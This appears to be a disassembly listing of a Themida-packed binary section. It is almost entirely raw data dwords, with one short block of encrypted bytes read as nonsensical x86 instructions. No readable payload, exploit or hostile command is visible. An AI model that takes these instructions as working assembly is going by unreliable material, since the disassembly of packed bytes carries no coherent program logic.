dd 77540124h, 0F701A15Fh, 0C22145DCh, 35F95D37h, 0D7D70817h
dd 65685480h, 7064696Dh, 54F78761h, 0D7DC959Dh, 0E10392E6h
dd 11C8BB1Ah, 0F2FB42B8h, 6B843B22h, 0E17122BFh, 8A24BC0Bh
dd 477EEC53h, 33CABF01h, 6B845B01h, 2E36F2EBh, 39FDAB10h
dd 8B1CBF78h, 60D485C5h, 5D0A00E8h, 3553ED81h, 8907FA03h
dd 82DB195h, 32C5B50Dh, 1DD58584h, 71BD8301h, 74000706h
dd 0E4E88B0Ch, 69B850E2h, 708EF7C2h, 3E382444h, 6A812B45h
dd 0C1A3E8D4h, 749A6829h, 0DFD2F383h, 4B250A80h, 0D5F40A89h
dd 4814E988h, 0A0AF2402h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
adc eax, 0EED8C483h
sbb byte ptr [edx-7Fh], 0EAh
inc ecx
or byte ptr ss:[ebx+45C712DAh], 0D8h ; CODE XREF: Themida_:0051536Bj
or ss:[esi], cl
xor [eax-77h], eax
or [ecx-737F0683h], al
sbb eax, 8200F74h
inc byte ptr [ebx+3010AB49h]
call dword ptr [edx]
inc ebx
jmp short near ptr loc_515349+5
; ---------------------------------------------------------------------------
db 0C6h, 36h, 0DCh
dd 0C9E82661h, 4604C228h, 7CC4810Dh, 491C02FFh, 458D888Ah
dd 5D8B8002h, 8885C708h, 8D945019h, 0C3D1010Ah, 89411888h
dd 0BD810B51h, 5D050644h, 2728E375h, 64BA518Dh, 98075D8h
dd 0F4BB0E8Ah, 0F0B85B27h, 0D3785437h, 0F61D07Eh, 0F7754B08h
dd 29C3AFD8h, 234A4647h, 42F91546h, 8A61D115h, 0F03AD0D0h
dd 45EEC5FEh, 0EB4D05FCh, 46AD1E04h, 403E8046h, 84BAF729h
dd 7D3034B7h, 0C87FEB0Ch, 6D66F83Eh, 65F04212h, 1040F40Eh
dd 0F065C14Ah, 0F8D6A004h, 3E01CD1h, 3328B0C2h, 1C0E8ADBh
dd 66FB8030h, 1E0A0A72h, 9F057739h, 223379EBh, 0DFB6114h
dd 0B7660A3Fh, 0A7AF1E08h, 10560AC3h, 7241181Ah, 77460A0Bh
dd 5124066Fh, 0F05D010Ch, 8339F4ECh, 72028D7Dh, 0C09B0CB0h
dd 0AAB3A576h, 0E7F82620h, 0B58D03h, 0FC553BA8h, 7854820Fh
dd 0AAE0B0BDh, 0BA2838DFh, 0B9700870h, 0BDFC7054h, 737D020h
dd 49470FFEh, 22B97375h, 0BBB86A8Bh, 120E5101h, 0DBEB82F1h
dd 868EB002h, 0FB391FC4h, 1B65D608h, 72FF1DECh, 785268Ah
dd 590500E9h, 0B4D9B810h, 8252CF00h, 25721CDCh, 5C7741h
dd 8ED396D4h, 6BC32C2Dh, 0E956010Ch, 39213D04h, 8A01C45Eh
dd 8205256Dh, 17089845h, 0C564621h, 6EEE51C4h, 0DEC0F17Ch
dd 8CDBC010h, 13470CBh, 4E398267h, 830F765Bh, 43D518Ch
dd 0B33BE3D1h, 754A0E46h, 11AC2E09h, 0EC05480Eh, 69065E4h
dd 0C5846400h, 54968E05h, 8F5381D7h, 29C2040Ah, 0C0718C8Ch
dd 0A60EDBE7h, 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h
dd 3FBC9020h, 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh
dd 45CF4090h, 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h
dd 845AABCDh, 0A6561308h, 825E0AE7h, 0A881E2EEh, 8AA04408h
dd 13A2B9FAh, 28972305h, 8C521043h, 0DFD740F2h, 6712D9F0h
dd 208DA8Dh, 0C459C351h, 18458A91h, 5141881Ch, 8753C400h
dd 5E9C2ED9h, 9D3B50A0h, 5ADF06CCh, 2D188F10h, 0B13EA30h
dd 7883F2h, 498A6C87h, 3CC2722h, 2D910C01h, 0C4F31FE6h
dd 0D18044B9h, 5E281D5h, 90331061h, 0BAF64302h, 0B863A084h
dd 0E70B62CAh, 0C75086F0h, 63BC6719h, 0EED1C814h, 6954434h
dd 0A6FA8B21h, 0C87CD803h, 5344EA0Dh, 1EA2841Bh, 31AA30h
dd 392ADF88h, 14DC94B9h, 0A821014h, 29902852h, 0DA8C6714h
dd 3229F4Bh, 39F08161h, 0A6F98A62h, 921EB209h, 0C45F3057h
dd 75468AE4h, 47001622h, 2E78C457h, 315BC881h, 9650FE8Bh
dd 7E90121h, 40502B80h, 914C9C54h, 45EA5B28h, 0EFEE0400h
dd 9070973Ah, 0B5C31482h, 0CC1E5E6Bh, 111B9BBCh, 0EB36F8F9h
dd 59FA3380h, 4715EA30h, 917A7B5h, 0E25C29F9h, 223BDC80h
dd 610044E1h, 0F3CD6A43h, 90829C7Ah, 5C340757h, 73D4BA6Dh
dd 0F1D85972h, 0DD739F3Dh, 5514EA30h, 76608ECh, 5370C497h
dd 46D6C1C9h, 7AD73030h, 60CEEF0Ch, 7BC55276h, 60EAEEAAh
dd 272C3D12h, 0ACF61CAEh, 8961CA00h, 8E203E77h, 5F18006Eh
dd 390512Ch, 509EB84h, 0F4C6053h, 5D4A5628h, 5E806E61h
dd 980E117Ch, 3DDE0010h, 914E71DFh, 7EE8381Fh, 0A8C25E00h
dd 62C48C2Eh, 72920359h, 0CB953E31h, 83A7BCEBh, 87CAA4Ah
dd 1F066000h, 0CA34625Ch, 0BC8B00A7h, 0CF2532E1h, 0FB003664h
dd 0DEAA5550h, 169BF0Eh, 8C6A9BBBh, 80676EFEh, 82339459h
dd 0DD4942h, 29AE073Bh, 5CEDC29Fh, 0EBAD9A01h, 7CC8D7A5h
dd 0F1337F0h, 8D481E27h, 0C7A38C9Fh, 0DA300418h, 17AE5071h
dd 689A6C16h, 8E0FB194h, 0C663338Ah, 2088BD3Bh, 0CF08AD79h
dd 81706F13h, 0E058B792h, 850821F0h, 0CC352838h, 68F58043h
dd 1F9A6ABh, 6152F6DEh, 48A349B5h, 21C02490h, 0C6E8051Fh
dd 643F008Bh, 313DC859h, 0BA0CA9B5h, 292ACBB1h, 0C2CE00BFh
dd 2588D0Ch, 0B5001A6Eh, 97B9324Ch, 0C383B34Ah, 0B6A569E8h
dd 13B5790Ch, 1527174h, 8DD141D2h, 808F5789h, 81BD42A9h
dd 0ECD814h, 339EA670h, 8BEB032Ah, 60F580A0h, 0B819F900h
dd 0C8E9C6FDh, 0DFF202C1h, 88F0EF0Eh, 0B24A8C83h, 0CDD7101h
dd 1F1868C6h, 97E477E5h, 0E6BF072Dh, 20AC4FF5h, 0F690BCF0h
dd 0A5007EE2h, 0AA521DCEh, 808E472Bh, 0F8005003h, 0D25C872Fh
dd 1D974FC1h, 30DB0B8Ah, 8CFE9420h, 0A6B09A50h, 0F6F04044h
dd 8DFC054Fh, 204A53CCh, 6B33D580h, 12E13007h, 5B71E940h
dd 94512804h, 414BCAAh, 58F43A0h, 945D3A07h, 7B3B3783h
dd 0D18287Dh, 3431C0B2h, 9AEBC35Dh, 87ED223Ch, 2B330E90h
dd 55B74B10h, 8A8CA09Dh, 0DD45F023h, 2FCCCAB8h, 73CF80E4h
dd 7982296Dh, 9AEC75FAh, 0F5CB148h, 0A17BECFFh, 14E7C8EEh
dd 0F0613180h, 8F286405h, 859FB31h, 0EC51666Eh, 8B30A557h
dd 0CB679FDh, 7F8545D7h, 2090AA28h, 8EDEF8EDh, 0A85A1724h
dd 924454A8h, 0EBB80AEFh, 9D2F369h, 9008AD6Bh, 1EE70888h
dd 0F9B430BBh, 11119C9h, 0F5049DB7h, 0CB050B35h, 74FA4AB8h
dd 52ADC8C0h, 0C0CB5739h, 43BC6361h, 1002155h, 5394DA42h
dd 58B5D1h, 78395FDCh, 0C919D259h, 0F12EF530h, 501B3BAAh
dd 0CF79C6Dh, 0B98FA68Ah, 47104598h, 0F5387AB2h, 98DBFE94h
dd 0A2223E04h, 96C482F0h, 0A6728CA0h, 3960B80Bh, 5ED19848h
dd 32EF813h, 0ED40968Dh, 4FC938D7h, 0EE50802Fh, 3C91CAF0h
dd 9CB0330h, 67FE8361h, 0ECE43580h, 42647C00h, 3969AAE1h
dd 0F13E1E87h, 8307C191h, 0F4A74BFFh, 0E0074C58h, 0E2EFB6FEh
dd 0DB86DCA0h, 2CB778C3h, 37723Eh, 1F743F2h, 0CB3EE878h
dd 91E900ACh, 6BBE6284h, 3FE5009Dh, 0F1B4496Fh, 5000C5FEh
dd 3CFBFFACh, 7DC8CAE1h, 927C0258h, 0C2F3AF79h, 25578C83h
dd 0F84531C0h, 1B9DEA09h, 4B80A3B7h, 6902F423h, 0E4A03FA7h
dd 65EF4946h, 1208AB48h, 54213382h, 0A0516B6Eh, 0A8F892BBh
dd 0C4D63EF5h, 4650E381h, 24DDEF91h, 990A3570h, 0B827CC9Fh
dd 3707C182h, 4ED8E081h, 91DE002Ch, 2778B2B9h, 3E2420C3h
dd 251184DCh, 0F5D2DE00h, 0C3C05B9Eh, 0CBC7F00h, 0FF1974B0h
dd 2428E275h, 82249033h, 0A12DB70Eh, 273BD468h, 0C8B06962h
dd 0FC288AEFh, 1297CF60h, 85BE0C9Eh, 1F0ED1E5h, 20841950h
dd 0A3133504h, 0BC8164E6h, 0E0322D7Ah, 808FBE10h, 9ECDD6F1h
dd 2CAA4954h, 43331974h, 713F78A2h, 34C8CE37h, 0B7180F12h
dd 83A0A565h, 1F4B0C77h, 3710B31Eh, 0ECF5FF02h, 40E807FDh
dd 0F0C8DF58h, 88B9D426h, 80794C37h, 0B807F5EDh, 85DF58C0h
dd 2AC127E3h, 3F847368h, 0E1C04E17h, 0F5C56E0Ch, 53284911h
dd 0E708983Ah, 35008F2Dh, 0B3A2866Eh, 20966032h, 2C034A3Fh
dd 0E0E288A0h, 0F82014B0h, 20CB3030h, 14807351h, 65065400h
dd 313796F1h, 81381C57h, 18F26F9h, 0AEBC577h, 8B308245h
dd 8088DF33h, 90AE1490h, 91C76057h, 17895010h, 0CF355Ch
dd 0B9C67D9Ah, 78AA68C0h, 0E1996C6Ch, 74882580h, 0A72E0026h
dd 6AC0CD49h, 0D905AFBDh, 97060443h, 0E2177402h, 33A6009Bh
dd 5CB2059Dh, 492BCA30h, 1F5422h, 265F9217h, 0EEA5FA60h
dd 45D37A00h, 39DEC73h, 92B8A3BBh, 208640Fh, 0F34B3E72h
dd 2C40F47Eh, 1754A66Bh, 58982CF8h, 0D12A44h, 63622510h
dd 595BE6B5h, 3005DF2Ch, 5718AE11h, 8DCEB1C9h, 0AC153400h
dd 5F5E13A8h, 0C2CF05Bh, 3E1DE70Fh, 0B10AAC8h, 0C8083393h
dd 288A24E6h, 1761F037h
dd 4A01B6AEh, 506980AFh, 0AC77562Bh, 47ED1D15h, 3CE0069h
dd 31428611h, 44902940h, 2B77237Fh, 32BF4A80h, 0D118854Ch
dd 1EEA7CC3h, 33D37F00h, 2A7E213h, 967395E9h, 0C868AE97h
dd 0AC0C5386h, 489B6F2Bh, 77EB0F5Dh, 578E8DAAh, 3CB1CA2Ch
dd 898BC913h, 4501100h, 0BAD65F8h, 0B4A25481h, 43F0C413h
dd 0ED808AD3h, 0D6BB24FDh, 12B70398h, 19112607h, 57189EA5h
dd 453661C4h, 1FE40901h, 1D904C3Dh, 1F599D8h, 0F0960750h
dd 73F933B7h, 0ECEF00C8h, 0DB4CDFE7h, 70313A9h, 0B380448Ch
dd 0A6730130h, 8184E867h, 52C285Ah, 90048F44h, 0C40116EFh
dd 294BB532h, 448B240Ch, 30CCCD3Ch, 45A2A104h, 0F279C0F3h
dd 0BE9FBB09h, 6EF69E1Dh, 8122A38Fh, 6C6DDED0h, 0C7BC499Ch
dd 90B7EAB3h, 578D9740h, 3A382494h, 3A5100D8h, 0AB54A538h
dd 129B7E72h, 230EB5E8h, 80887FA4h, 9867E38Dh, 4921F278h
dd 51C06948h, 0EC770AF3h, 1812B5h, 0C5702C7Ah, 0E8920FEFh
dd 1337D216h, 53E82518h, 8064916Ch, 0D30A9BF4h, 45010C5Ch
dd 0CB3D781Ch, 844911B5h, 50F76860h, 6FC8496h, 0C3ADEAF5h
dd 0F11B10CBh, 0C0296D6Eh, 0F82408Fh, 1E38C639h, 0F6E62C00h
dd 0A0CFDC6Ch, 7490782Eh, 0CC9B30AEh, 0BEEB7540h, 68B5A52Eh
dd 8C613492h, 1006B9C2h, 8A1F9608h, 244449B6h, 7E64EB00h
dd 0FC87D14Fh, 0C7320061h, 3171F3BBh, 31C147B5h, 40B26995h
dd 209BE428h, 261F4CA0h, 3B0984Dh, 52EF4ADFh, 36912188h
dd 9E1910BEh, 0DF106C58h, 0F2C8138Eh, 0BF28B421h, 6E299872h
dd 0CC1F00A0h, 0A5FF230Ch, 38E43B12h, 3F9148D1h, 87EF2841h
dd 809E6D01h, 7C626139h, 462A2Fh, 6038156Bh, 0B1C4731Fh
dd 0D88EB900h, 0ED64117Bh, 16DC0757h, 4FBE05D5h, 90D41BE6h
dd 3B23AC0Ch, 20575886h, 0EB171C29h, 2C4047ADh, 9DEDC939h
dd 0BFC8A85Fh, 0FB440056h, 0F852BCA2h, 8B00510Fh, 0E34CDC59h
dd 3A6BFD1h, 0E903183Eh, 0F90023C9h, 1568D985h, 33077EAh
dd 0BBED21E3h, 67902ABFh, 900049A9h, 6DDAF317h, 0E83B18Bh
dd 78B316E6h, 0CF8CC020h, 3001C306h, 17B4B5AAh, 8C409F2Ah
dd 989C55B2h, 9E34A1CBh, 0E438F610h, 0E6560F00h, 8A685BCBh
dd 10E80EF3h, 2602B87Ch, 8481B796h, 70365C3Eh, 13345F8Fh
dd 0D40441C8h, 4C49BA3Bh, 4B33404h, 1090974Ah, 0B46B6B4h
dd 0CAF7025h, 0D17A4603h, 0CF3B2FA0h, 0C6B0D2Eh, 399CD20Ch
dd 0EE9840E6h, 0D02AFC00h, 4755BBA3h, 0D3A03F2Dh, 1D057980h
dd 38C6580h, 641C04A7h, 0E7071C60h, 6D72C03Ah, 18F6CBE3h
dd 0FD4B5606h, 6197B1Fh, 0B704148Ch, 270F404Eh, 0E17DAC0Bh
dd 6867DD89h, 82BC598Bh, 0E5539B00h, 0D1F9A40Ch, 67A8F448h
dd 65D84713h, 38814B0Ch, 0C2E08Eh, 5E87FF95h, 4BFED01Ch
dd 3010A1F7h, 4E9AE780h, 3CE30780h, 3B07E637h, 73791721h
dd 0A00150EBh, 9A59CBDFh, 0D4F14B55h, 0A226D647h, 68E20010h
dd 0B9C76184h, 0B300C937h, 0ACE4F408h, 61CBE8B8h, 797F29F2h
dd 24C8808Bh, 0EBD0472Ch, 0E1E70387h, 0E89D5164h, 2A03293Dh
dd 0E5048C7Eh, 51653360h, 83D7041Dh, 3E90028Dh, 2A08A264h
dd 0ACB8A891h, 0A863FF50h, 0A9D22A0h, 8DF2388Eh, 0D12A0384h
dd 792EEACBh, 0C6068884h, 3C21F636h, 7A2A6165h, 433D05E8h
dd 0EC33CDh, 78B28A18h, 89005ABBh, 5160F4C8h, 0C606FF13h
dd 0B987CD71h, 797483F0h, 0BD8E9C03h, 0C0908808h, 0FAEDC7ECh
dd 49863C5Dh, 9D54B906h, 0DB0661E4h, 7FEB0729h, 92B6C40h
dd 0A4A0E550h, 41CF91D0h, 0C3CA068Ah, 0A8DB5458h, 977815B7h
dd 5C438486h, 2B4CC0Ch, 302AA498h, 0E0079026h, 0A3ED7791h
dd 0A7ECCF40h, 0C9BE0060h, 0D1CA6601h, 1830A680h, 4A49D147h
dd 4C0B3014h, 0A78DD111h, 90595D03h, 3101EDE2h, 0E8104E18h
dd 0E684508Ah, 1239BE1Ah, 0EAFD121Eh, 4BB20842h, 2328B447h
dd 16E14945h, 588A6940h, 809467FFh, 8A0D59EBh, 433A60D3h
dd 0C6640A7Bh, 280A47Eh, 4A17CA16h, 404C5318h, 932594C7h
dd 39007DC7h, 9053B151h, 0DE33E82h, 4E21C149h, 2179FD91h
dd 7C036018h, 3C2B31DEh, 54E39058h, 1845A4F1h, 0D9623687h
dd 0BD490B0Eh, 0B2344208h, 9A801727h, 0FAB1728Eh, 3E1E06F5h
dd 0D0795106h, 0C33B0A00h, 0A77DD163h, 323024E8h, 0BC754FACh
dd 14D838B7h, 786260CEh, 0E07FC551h, 89120890h, 50462DE2h
dd 18E9498Fh, 610EFA14h, 0A9C899A4h, 773D42FBh, 0E541C707h
dd 8C48CC64h, 4E2300FDh, 457D04DDh, 880473F2h, 5E1C3071h
dd 40052CC2h, 242B670h, 89480423h, 0E8A15CE9h, 207D57CDh
dd 20A6DB37h, 63303E50h, 2450F64Dh, 0EB989CB1h, 7D439B08h
dd 413BF80Eh, 56104147h, 4A388082h, 0AB70AEDCh, 0D37025Ch
dd 0B20E189Ah, 0B56815C0h, 0F2C4C200h, 0AE63ECAAh, 0FD2B81Ah
dd 37599438h, 0F1D63243h, 1C7481E0h, 8BE53B3Fh, 80224001h
dd 0B8F2692Eh, 89E07Fh, 0F0865D6h, 863CC6E6h, 388440DDh
dd 7A07F2DFh, 0A1DDB01Ch, 201E4010h, 2740FB3Fh, 0AAF785EDh
dd 0B9192CA8h, 77DB018Ah, 0CC6D5894h, 0E800D338h, 67787CAEh
dd 2C97DD8Dh, 48885210h, 0A87ED504h, 0F7585F8h, 0A1D78B6Ah
dd 342140A0h, 270114F9h, 70BDBCC5h, 1C316AADh, 715AC6DCh
dd 7F380086h, 0E0B6E435h, 40C0747Dh, 17D199E1h, 9102391Ch
dd 85B22280h, 6F7B7E49h, 8323080Eh, 0E0352F9Bh, 0E48CEC32h
dd 68AE40AAh, 9C40CFF6h, 27126h, 85B91867h, 66B181FBh
dd 7800F6ECh, 0CD425AC4h, 7F8C901Fh, 80E000D5h, 0DB3577E6h
dd 100257C6h, 67013920h, 973862F6h, 0A7805D94h, 0E8895978h
dd 1C41FA9Bh, 431C0222h, 0DE85B818h, 91B7B90h, 9B4B48h
dd 22904038h, 215BEDh, 7486E1E9h, 590D2E61h, 0B2120A00h
dd 2362F96Bh, 0EED80E84h, 0B0E077D3h, 289EDEE1h, 2E06BA90h
dd 0B71D5EFAh, 67720840h, 6C000783h, 1C1840B2h, 0BE84001Ah
dd 696FA9F2h, 0B8000BBCh, 5A8674BDh, 0E8B8138h, 6CDAE8E0h
dd 0DE3767C0h, 0E000358h, 1618411Fh, 0B379761Ah, 0D5F8558Ch
dd 0AB85004Dh, 0C6E4891Ah, 22006B01h, 0B619032Eh, 0A28776h
dd 436C7570h, 79C0E71Ch, 3A8D9400h, 0E5DF302Ah, 0ABAA03AEh
dd 0A44C2E63h, 321D12F0h, 0F6019300h, 48F9C4EFh, 76B1DA6h
dd 6FC2C00Ch, 0C8D14244h, 0B1D43207h, 68306CDFh, 960A86h
dd 1F61B05h, 0C5B90E06h, 6DA48500h, 0BB2727Ah, 385103C2h
dd 8A345B47h, 4F2E390h, 62DC6D12h, 1958FF00h, 3F1E17h
dd 0B618634Ah, 78454282h, 28B9680Bh, 3DAC0079h, 2980388Ah
dd 2388175Eh, 0F67F04h, 774ECBDCh, 0A050BD74h, 0F2C97600h
dd 0B5797D84h, 5034A58Bh, 0AF00D3A8h, 7DA104F3h, 17AF8DCh
dd 6B9F9976h, 5964E3E6h, 0A535DC1Ch, 109018C0h, 162EBh
dd 0C8AA6188h, 8F55186Ch, 8BF13903h, 6967D6h, 86730539h
dd 0ED7FEBD8h, 5E4832Fh, 44001CD4h, 0A227869Ah, 5D3305BCh
dd 8F6534h, 5E3DE3Ch, 0E90302A3h, 5AA55412h, 6BEFE089h
dd 944300CDh, 804B561Ch, 0D31D60F9h, 41D691CCh, 7F0748D0h
dd 77290149h, 0DC57516Dh, 5E1C585Ch, 0C14F3C80h, 0F2A3DFE9h
dd 794BE0C5h, 0E178D906h, 39B11167h, 0E900FA09h, 0B92EC476h
dd 0F53E3BB5h, 9F4ABB8Bh, 0B87C6D71h, 0D956FAEAh, 86087C84h
dd 0C497EB53h, 9DA34016h, 92FA86h, 0C6FFCA34h, 66071487h
dd 0B2AA21C1h, 80409874h
dd 52CCDFE3h, 7A00CC5Dh, 18786C12h, 0C007B2BCh, 71090C08h
dd 39A45C40h, 15DC0A65h, 0BAAC48E2h, 53370480h, 0AB6D7249h
dd 0DCDC8E54h, 8675168Ch, 48E0C4DAh, 0A6800158h, 7F0D869Ch
dd 76FA0065h, 152B36F0h, 99C05BCBh, 9C13E4A2h, 982D0770h
dd 500D7755h, 6EBE6799h, 43D0E105h, 0C44203F8h, 5453080Eh
dd 7FB10130h, 80460458h, 29D723B1h, 12EBD073h, 0A0828808h
dd 21C01E1Ch, 8929CF06h, 0DBA000DDh, 2A58E430h, 880EC4EAh
dd 67C61A36h, 50093266h, 92C71064h, 64E20263h, 48843199h
dd 7B45A018h, 0E002040Dh, 0ACFB4767h, 88112428h, 0D5DC180h
dd 7B254A85h, 0D23901FAh, 1F2F50ABh, 0E547004Eh, 0E70C0A5Fh
dd 0CB0258Ah, 0B8612B87h, 5D170E18h, 0E59528h, 9E54CB57h
dd 3F144D36h, 898F3130h, 9D43E4h, 502573DCh, 0D051D280h
dd 0EF311900h, 0ED17BB66h, 0D5600539h, 0F52FDC5Ch, 5B46F828h
dd 908DA502h, 40C9070Ah, 282ECA18h, 1F8045E3h, 0D9AC55h
dd 0DB601346h, 0D7013F15h, 4073BAD4h, 76D8A883h, 489195DCh
dd 3E90589Ah, 2E31008h, 4012C4F8h, 320D56BEh, 15130038h
dd 46AED481h, 55E8483Dh, 0E7074B0Fh, 940F726Bh, 0E01503h
dd 2C380C41h, 5F54A7A5h, 0B3CC4004h, 0F7484753h, 48146125h
dd 0CC79F8h, 0A4A01864h, 33D8BC2Bh, 7DFD5700h, 0E641ACB6h
dd 346FA4Ch, 404BF70Bh, 0E9A9D54h, 76803443h, 0FA12AD69h
dd 3200CF72h, 5A836028h, 0CBE30D1Dh, 4228559Fh, 41309D0Ch
dd 2DE1110h, 80978840h, 600D59BDh, 5400A4DCh, 701BACC2h
dd 0C8A57D3h, 0C029D256h, 0E23DEB99h, 897B87FBh, 0DA5379B1h
dd 0D400E5A3h, 3180E04h, 0D52F86Fh, 14D89BE5h, 8643DC90h
dd 0CCCA4909h, 6CB02150h, 0F0803CE1h, 0B68A3DCh, 35E8A40Dh
dd 8E180095h, 0EEC3CD7h, 7662AF7Eh, 15CD4583h, 198A638Bh
dd 2C00E444h, 7058DB71h, 39FE173Eh, 0AE0122FAh, 0B7F60CB5h
dd 21E0CCC7h, 51D7ED01h, 0C8D60B2Dh, 4869B0B5h, 52C053D8h
dd 46D07629h, 31B22D3h, 0BE29CA09h, 0E5A9AF7Ah, 63EBF8D8h
dd 0A9ED9C9h, 0E0004C50h, 0BCE6BAD7h, 23D77A3h, 0A1682ECFh
dd 9C8287FFh, 0C800960Fh, 0E13D6E36h, 2A6164F0h, 9CCBBC6h
dd 1B267F05h, 7DE0FC58h, 0B40B0E16h, 61B2D0C2h, 3D02450Ch
dd 0B48774C4h, 97673444h, 0B2C2C0C9h, 0FE0436BCh, 71ECF71Fh
dd 0EF1068BDh, 74CD288Bh, 0BC94C500h, 85E4F686h, 446404A4h
dd 94AB404Eh, 0D5A86100h, 0DBD0E829h, 0E820458Ch, 2B0029CDh
dd 0A9984EF0h, 9450DF5h, 0B04C43E3h, 387BBC00h, 5180ADE7h
dd 8D4249Dh, 3690202Ch, 7918E6DEh, 1CC4E485h, 4EC19060h
dd 10E8FF4Ch, 0E6C46D04h, 0C0B8277Fh, 0D07529D9h, 1722FB46h
dd 29510C02h, 0E432FD50h, 0AC7C2944h, 181DD18Ch, 8FB702A1h
dd 9D6FE2ECh, 0C1901841h, 0C460D617h, 0D8598C4Bh, 8679807Ch
dd 436FEBD6h, 11822EDh, 3086A0A2h, 0E4FEE5A7h, 0D1044E24h
dd 50AEA53h, 883AB8D5h, 0C7002023h, 54046341h, 62F70EC8h
dd 0A8DFA3E3h, 73E7DA8h, 0C636F151h, 5CD3092Fh, 97E1D809h
dd 809C9158h, 0BEFF79EDh, 2C36042Dh, 0E96143C6h, 0A3DD02B0h
dd 613D7538h, 74FADF60h, 0AB9B83B4h, 8EF0D304h, 20063B79h
dd 0E6F521C9h, 0AA7C21h, 59E55CD2h, 21C3690h, 6B972E14h
dd 0DAEC0BB8h, 8E64A773h, 4B0BF01h, 30DDC452h, 0D7108672h
dd 0A7E077EBh, 41738699h, 1596544Ch, 80809B64h, 2E00D5Bh
dd 22684350h, 53BB0013h, 5E2E070Dh, 82B59E7Ah, 81902012h
dd 0BE04ADA8h, 41F06820h, 1C60EE11h, 90807933h, 69A32C10h
dd 841680F8h, 0F034308h, 6762E8A8h, 10667E01h, 9CD86C8Bh
dd 0D84C26CDh, 0E7A30906h, 4C8324B2h, 391D1504h, 634E7339h
dd 80A92E08h, 64ED733h, 9B1614D0h, 5B00FC41h, 0ABC25784h
dd 0B003E4Ah, 0FADC7C6Ch, 791367B8h, 8F351FEBh, 30475810h
dd 9C28B75Eh, 0C4A7B899h, 0F3601B44h, 0FE1F7585h, 0E993D9A8h
dd 3DAAE4A4h, 53FE4C3Eh, 0EC05E494h, 909A14B2h, 59204B68h
dd 0BBB36B00h, 37A34985h, 0F81C60BFh, 6560EE0Ch, 1614F0EEh
dd 1FA8632Fh, 0EC6612E2h, 0E889029Ch, 2478D0BEh, 60DC8F53h
dd 79750361h, 0C243099h, 1A465Ch, 7E36726Ah, 100D1Ch, 3355BC44h
dd 0BD5E2617h, 309C4304h, 81006590h, 4873E0ABh, 0B1AD3F07h
dd 0C4E0713Bh, 584A0C96h, 0E03A5899h, 18A261EFh, 0C08038D3h
dd 0DE1D85BAh, 1F59102h, 485C1B0Eh, 0FCEE0B1Ch, 8E74067Ah
dd 30347F18h, 8B76C2Ch, 832C1428h, 2B9368B1h, 1302FCB0h
dd 2B83E7Fh, 7B494AD8h, 34519C42h, 0F1181D59h, 0F5304E00h
dd 0CCF8E3F9h, 8AE117D2h, 23F83AE2h, 59220013h, 0F25C04C7h
dd 11F1911Ch, 0E716B18h, 8C4555E7h, 2D9AC42h, 14C615D4h
dd 1D797825h, 801F91FCh, 0B8BADB0h, 159E002Ah, 7A6F85C1h
dd 0B8ACF691h, 28C73B02h, 0C406A3BBh, 0D6F10E34h, 432025DCh
dd 103F46F8h, 74A1801h, 4DB56E59h, 5C1ACBCCh, 0CD880C02h
dd 403CE0C0h, 22E446E6h, 0D68D0036h, 1E517F3Ch, 0B5025437h
dd 0F6E6423Ah, 5A804211h, 270C13E4h, 51400995h, 0A316D848h
dd 4E613F44h, 0E0B8D0CCh, 0D700AB44h, 4CE343D5h, 0B18BEAA4h
dd 187A7160h, 466D004Bh, 0DCC27CBAh, 7F12069Bh, 2C02B476h
dd 760912ACh, 867D8168h, 0FC3DCA4Ch, 0E09406DEh, 9C3BE340h
dd 10E4A00Fh, 444A483Dh, 4C68887Fh, 9E074E7Fh, 0CBE81D31h
dd 0BC4050B5h, 0CA423C94h, 2FBE074Bh, 11364199h, 0D9AA7CA5h
dd 2CE3E578h, 438EB8CCh, 175C0B65h, 5A40000Fh, 0B1A1546h
dd 190A8F5Fh, 1E91CC1Fh, 0E4420D80h, 121F8A8Dh, 6AC0A81Dh
dd 78BAEBCEh, 25D4908Fh, 9892CFE1h, 0F5805C1Fh, 0A3E89CE3h
dd 0AF894ECh, 80A40F63h, 8FA42391h, 0EA001148h, 7FD7E051h
dd 17549B60h, 211B449Dh, 6A129EE4h, 6EA3140Dh, 8F071881h
dd 737EB8h, 801C709Bh, 78252585h, 9CC89818h, 644A5C02h
dd 16C8C310h, 5C1084F0h, 0C1042708h, 0C4727050h, 0A03017F2h
dd 10023112h, 32D10ED9h, 5C143E98h, 11ABC8F4h, 29D88055h
dd 8CC3D074h, 60EE2145h, 0B06404h, 24D410C9h, 56BD15D1h
dd 0DC4F624Fh, 0C9003273h, 1EB8CC0Fh, 3DE0023Bh, 4BAAE63Fh
dd 2E9F9C85h, 20233Ch, 70EF5C4Ch, 0EE26040Dh, 551EECEAh
dd 61C989C0h, 387BBCB5h, 0A2A668FCh, 8E780FDBh, 80B764E1h
dd 848289Bh, 3B584B18h, 241F0A3Fh, 0DDE3015Fh, 0D0BFDA1Eh
dd 0A81F2191h, 0C7CBD478h, 1390447Eh, 4AF68F8h, 12A52C20h
dd 49D4B400h, 8066DECCh, 0E57E46BFh, 0F810E31Fh, 57109259h
dd 3BA61C74h, 90C8F716h, 53015423h, 0CBD07729h, 0C289A463h
dd 61949007h, 20B496E2h, 0DB243710h, 0CA3B28E8h, 0C6C44Fh
dd 0E4459297h, 34A90336h, 0ADD6C227h, 238F7590h, 0C370D216h
dd 3D978404h, 0CBDF5B00h, 525A8956h, 6B9B4C0h, 85D900FBh
dd 0E34EB233h, 24B236CBh, 0DF1F0309h, 22802F14h, 6857CCD4h
dd 863EB0h, 595A8CA9h, 0B4A1B12Fh, 0BF5FA00h, 0A8C009AFh
dd 7DD72406h, 0E540890h, 0A9BA5201h, 0AC41D495h, 0FD009E08h
dd 61166739h, 40A013C7h, 131F5B63h, 8AC4161Ch, 0C07AC87Ch
dd 0CE34F693h, 6266B500h, 8B3704D0h, 8C8D316h, 0DEC0CF38h
dd 21E63E3Ch, 59989D74h, 0DCC721h, 0EC58DE3Ch, 0C949E3F6h
dd 66C08A51h, 0AF37F0FCh, 0BC0E636h, 5A23108Eh, 0AC4CD090h
dd 0D3010381h
dd 0EC9C3848h, 9F1F8C2Fh, 60328BDh, 8AC9835Bh, 3BCE61Dh
dd 24FAC8E3h, 2C90555Ah, 28F6F86Ah, 0DFCCF206h, 0E129892Fh
dd 0D1E2E8h, 0E347D459h, 0B53EDC31h, 6EF7104h, 70147B55h
dd 748C1CE8h, 1B760277h, 8A36D09Ah, 0CD5BCCC8h, 60B87FF8h
